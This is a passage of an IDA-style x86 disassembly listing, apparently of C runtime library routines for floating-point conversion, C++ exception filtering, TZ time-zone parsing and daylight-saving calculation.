loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx


loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2


loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------


loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx


loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------


loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h


loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------


loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx


loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax


loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------


loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_436610
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_436628
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------


loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx


loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]


loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A


loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------


loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]


loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------


loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h


loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4CDB88
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_4CDBB0, eax
		add	esp, 18h
		movsx	eax, byte_4CDB8A
		mov	dword_4CDBA8, eax
		pop	edi
		movsx	eax, word_4CDB88
		mov	dword_4CDBAC, eax
		mov	dword_4CDBB4, offset dword_4CDB8C
		mov	eax, offset dword_4CDBA8
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------


loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------


loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:00435FE8o
					; ___:00436AB0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------


loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_4CDBB8
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_4CDBB8
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------


loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax


loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 0DEE89000h, 0A3021BFBh, 4CDBB8h, 0B835FFC3h
					; DATA XREF: ___:00426024o
		dd 0E8004CDBh, 21BFBCDh
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi


loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28519A8h
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi


loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25D0B11h
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi


loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC


loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_4CDC78, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_4CDC78

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4CDBC0, ebp
		mov	dword_4366E8, ebx
		mov	dword_4366D8, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_4CDBC8
		nop
		call	near ptr 2810000h
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_4CDBC8
		mov	ecx, dword_4CDC1C
		imul	eax, 3Ch
		cmp	word_4CDC0E, bp
		push	1
		pop	edx
		mov	dword_436640, eax
		mov	dword_4CDBC0, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_436640, eax


loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_4CDC62, bp
		jz	short loc_4209E9
		mov	eax, dword_4CDC70
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_436644, edx
		imul	eax, 3Ch
		mov	dword_436648, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------


loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_436644, ebp
		mov	dword_436648, ebp


loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4366CC
		push	ebx
		push	offset dword_4CDBCC
		push	edi
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_4366CC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------


loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_4366CC
		and	byte ptr [eax],	0


loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4366D0
		push	ebx
		push	offset dword_4CDC20
		push	edi
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_4366D0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------


loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_4CDC74
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6


loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_4CDC74
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4CDC74, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_4366CC
		call	sub_418C10
		mov	eax, off_4366CC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi


loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_436640, ecx


loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17


loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------


loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_436640
		add	ecx, eax
		mov	dword_436640, ecx


loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------


loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_436640
		add	ecx, eax
		mov	dword_436640, ecx


loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------


loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_436640, ecx


loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_436644, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_4366D0
		call	sub_418C10
		mov	eax, off_4366D0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_4366D0
		and	byte ptr [eax],	0


loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_436644, edi
		jnz	short loc_420BC0


loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------


loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4366D8
		jnz	short loc_420BDE
		cmp	eax, dword_4366E8
		jz	loc_420CE0


loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_4CDBC0, edi
		jz	loc_420CB6
		movzx	ecx, word_4CDC6E
		push	ecx
		cmp	word_4CDC60, di
		movzx	ecx, word_4CDC6C
		push	ecx
		movzx	ecx, word_4CDC6A
		push	ecx
		movzx	ecx, word_4CDC68
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_4CDC64
		push	edi
		push	ecx
		movzx	ecx, word_4CDC66
		push	ecx
		movzx	ecx, word_4CDC62
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------


loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_4CDC66
		push	ecx
		push	edi
		movzx	ecx, word_4CDC62
		push	edi
		push	ecx
		push	eax
		push	edi


loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_4CDC1A
		add	esp, 2Ch
		cmp	word_4CDC0C, di
		push	eax
		movzx	eax, word_4CDC18
		push	eax
		movzx	eax, word_4CDC16
		push	eax
		movzx	eax, word_4CDC14
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_4CDC10
		push	edi
		push	eax
		movzx	eax, word_4CDC12
		push	eax
		movzx	eax, word_4CDC0E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_4CDC12
		push	eax
		push	edi
		movzx	eax, word_4CDC0E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------


loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h


loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_4366DC
		mov	eax, dword_4366EC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24


loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx


loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9


loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_4366E0
		setnl	cl


loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------


loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4366F0
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_4366F0[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------


loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_436724[esi]


loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------


loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_4366F4[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------


loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_436728[esi]


loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------


loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_4366F0[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------


loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_436724[eax*4]


loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]


loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_4366DC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4366D8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4366E0, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4366EC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_436648
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
